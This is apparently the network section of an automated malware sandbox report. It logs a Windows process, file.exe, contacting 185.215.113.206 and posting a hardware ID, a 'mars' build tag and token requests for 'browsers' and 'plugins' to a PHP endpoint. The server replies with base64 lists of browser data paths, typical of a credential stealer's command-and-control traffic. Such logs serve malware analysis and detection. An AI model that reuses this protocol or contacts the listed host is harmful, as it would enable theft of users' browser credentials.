Nov 23, 2024 02:55:42.112781048 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.113132954 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.113224030 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.113240004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.113316059 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.113997936 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.114067078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.114087105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.114126921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.114784002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.114892960 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.114949942 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.115639925 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.115739107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.115780115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.115896940 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.116458893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.116528034 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.116559982 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.116657972 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.117263079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.117360115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.117373943 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.117477894 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.118097067 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.118129015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.118165970 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.118202925 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.118961096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.118973017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.119071960 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.119776964 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.119824886 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.119862080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.120048046 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.120593071 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.120699883 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.120724916 CET	49814	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 02:55:18.692235947 CET	192.168.2.6	1.1.1.1	0xa9f9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:18.692387104 CET	192.168.2.6	1.1.1.1	0x2ae3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:26.197127104 CET	192.168.2.6	1.1.1.1	0x801	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:26.197447062 CET	192.168.2.6	1.1.1.1	0x9c21	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:30.973249912 CET	192.168.2.6	1.1.1.1	0xf28a	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:30.973752975 CET	192.168.2.6	1.1.1.1	0xe57c	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:33.287580013 CET	192.168.2.6	1.1.1.1	0xc6cf	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:33.287725925 CET	192.168.2.6	1.1.1.1	0xa6f3	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 02:55:33.782351971 CET	192.168.2.6	1.1.1.1	0x3ba1	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:33.782605886 CET	192.168.2.6	1.1.1.1	0x5474	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:35.341495991 CET	192.168.2.6	1.1.1.1	0x7c43	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.341707945 CET	192.168.2.6	1.1.1.1	0x5d1c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:35.342334986 CET	192.168.2.6	1.1.1.1	0xe3ad	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.342545986 CET	192.168.2.6	1.1.1.1	0x6127	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:35.354911089 CET	192.168.2.6	1.1.1.1	0xe9d5	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.355133057 CET	192.168.2.6	1.1.1.1	0xe397	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:36.090486050 CET	192.168.2.6	1.1.1.1	0xe33f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.090688944 CET	192.168.2.6	1.1.1.1	0xb8a8	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:36.103481054 CET	192.168.2.6	1.1.1.1	0x16bd	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.103779078 CET	192.168.2.6	1.1.1.1	0xb464	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:36.231343031 CET	192.168.2.6	1.1.1.1	0xb0f5	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.231545925 CET	192.168.2.6	1.1.1.1	0xcb19	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 23, 2024 02:55:36.370476961 CET	192.168.2.6	1.1.1.1	0x2666	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.370615005 CET	192.168.2.6	1.1.1.1	0xd899	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 23, 2024 02:56:35.113023996 CET	192.168.2.6	1.1.1.1	0xa86e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:56:35.114741087 CET	192.168.2.6	1.1.1.1	0x3bd1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 02:56:35.115665913 CET	192.168.2.6	1.1.1.1	0x6c6b	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:56:35.115839958 CET	192.168.2.6	1.1.1.1	0x264d	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 02:55:03.507261992 CET	1.1.1.1	192.168.2.6	0xc9eb	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:03.507261992 CET	1.1.1.1	192.168.2.6	0xc9eb	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:18.829449892 CET	1.1.1.1	192.168.2.6	0x2ae3	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 02:55:18.830454111 CET	1.1.1.1	192.168.2.6	0xa9f9	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:26.333966017 CET	1.1.1.1	192.168.2.6	0x801	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:26.333966017 CET	1.1.1.1	192.168.2.6	0x801	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:26.417478085 CET	1.1.1.1	192.168.2.6	0x9c21	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:31.111948967 CET	1.1.1.1	192.168.2.6	0xf28a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:31.113159895 CET	1.1.1.1	192.168.2.6	0xe57c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:31.594583035 CET	1.1.1.1	192.168.2.6	0xe4a8	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:31.594583035 CET	1.1.1.1	192.168.2.6	0xe4a8	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:31.594616890 CET	1.1.1.1	192.168.2.6	0x3498	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:33.425995111 CET	1.1.1.1	192.168.2.6	0xc6cf	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:33.523823977 CET	1.1.1.1	192.168.2.6	0xa6f3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:33.920532942 CET	1.1.1.1	192.168.2.6	0x3ba1	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:33.920532942 CET	1.1.1.1	192.168.2.6	0x3ba1	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:33.926295042 CET	1.1.1.1	192.168.2.6	0x5474	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:35.478722095 CET	1.1.1.1	192.168.2.6	0x5d1c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 02:55:35.479578018 CET	1.1.1.1	192.168.2.6	0xe3ad	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.479578018 CET	1.1.1.1	192.168.2.6	0xe3ad	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.483566999 CET	1.1.1.1	192.168.2.6	0x6127	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 02:55:35.495620966 CET	1.1.1.1	192.168.2.6	0xe9d5	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.495620966 CET	1.1.1.1	192.168.2.6	0xe9d5	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.496287107 CET	1.1.1.1	192.168.2.6	0xe397	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 02:55:35.501082897 CET	1.1.1.1	192.168.2.6	0x7c43	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:35.501082897 CET	1.1.1.1	192.168.2.6	0x7c43	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.227998972 CET	1.1.1.1	192.168.2.6	0xe33f	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.227998972 CET	1.1.1.1	192.168.2.6	0xe33f	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.227998972 CET	1.1.1.1	192.168.2.6	0xe33f	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.227998972 CET	1.1.1.1	192.168.2.6	0xe33f	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:36.240638018 CET	1.1.1.1	192.168.2.6	0x16bd	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:36.240736008 CET	1.1.1.1	192.168.2.6	0xb464	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:36.368457079 CET	1.1.1.1	192.168.2.6	0xcb19	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:36.443836927 CET	1.1.1.1	192.168.2.6	0xb0f5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:36.507106066 CET	1.1.1.1	192.168.2.6	0x2666	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:36.508455038 CET	1.1.1.1	192.168.2.6	0xd899	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:37.973623037 CET	1.1.1.1	192.168.2.6	0x4c97	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:38.370457888 CET	1.1.1.1	192.168.2.6	0xd514	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:39.434001923 CET	1.1.1.1	192.168.2.6	0xf8d0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:39.434001923 CET	1.1.1.1	192.168.2.6	0xf8d0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:40.074189901 CET	1.1.1.1	192.168.2.6	0x6b05	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:55:40.074189901 CET	1.1.1.1	192.168.2.6	0x6b05	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:55:40.074189901 CET	1.1.1.1	192.168.2.6	0x6b05	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 23, 2024 02:56:35.250847101 CET	1.1.1.1	192.168.2.6	0xa86e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:56:35.252404928 CET	1.1.1.1	192.168.2.6	0x3bd1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:56:35.253334045 CET	1.1.1.1	192.168.2.6	0x264d	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 02:56:35.349623919 CET	1.1.1.1	192.168.2.6	0x6c6b	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.206	80	3704	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:55:09.734546900 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 02:55:11.111502886 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:11.132482052 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIEBAAKJDHIECAAFHCA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 38 36 33 37 34 34 33 36 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 41 2d 2d 0d 0a Data Ascii: ------DHIEBAAKJDHIECAAFHCAContent-Disposition: form-data; name="hwid"A2863744369B3566182515------DHIEBAAKJDHIECAAFHCAContent-Disposition: form-data; name="build"mars------DHIEBAAKJDHIECAAFHCA--
Nov 23, 2024 02:55:11.593650103 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 49 32 4f 54 4a 6c 4f 44 64 68 59 54 63 31 4e 32 5a 6b 5a 47 49 33 4f 54 63 33 5a 6a 59 79 4d 57 4e 6b 4e 7a 5a 6c 4e 7a 49 30 4f 54 63 7a 4e 7a 59 33 5a 6d 45 35 4e 6d 49 35 4d 6a 5a 6d 59 7a 6b 30 4e 54 49 7a 5a 6d 51 34 4e 44 46 68 4e 54 41 31 4e 6d 46 6c 4d 47 49 30 5a 54 45 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDI2OTJlODdhYTc1N2ZkZGI3OTc3ZjYyMWNkNzZlNzI0OTczNzY3ZmE5NmI5MjZmYzk0NTIzZmQ4NDFhNTA1NmFlMGI0ZTE2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 02:55:11.594847918 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="message"browsers------HIIDGCGCBFBAKFHIJDBA--
Nov 23, 2024 02:55:12.043045998 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 02:55:12.043091059 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 23, 2024 02:55:12.244000912 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 23, 2024 02:55:12.245915890 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="message"plugins------HIEBAKEHDHCAKEBFBKEG--
